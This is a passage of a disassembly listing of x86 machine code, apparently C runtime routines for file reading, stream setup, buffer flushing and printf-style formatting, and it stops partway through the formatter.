cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC6C0 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC5C0h[eax*4] mov eax, dword_4DC5C0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call near ptr 26F0000h nop test eax, eax jnz short loc_41F1E4 call near ptr 26709C5h nop push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB278, 9 mov dword_4DB27C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 26F0000h nop test eax, eax jnz short loc_41F285 call near ptr 26709C5h nop test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB2F8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB464 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB460 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5A0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB598 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB598 mov [edi+ecx], eax mov eax, dword_4DB598 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C2F8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C2F8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA08 jz short loc_41F5EA cmp esi, offset dword_43CA28 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C950 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C2F8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C514 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C510 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8A0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8AC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8A4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C510 mov [ebp+var_8], ecx 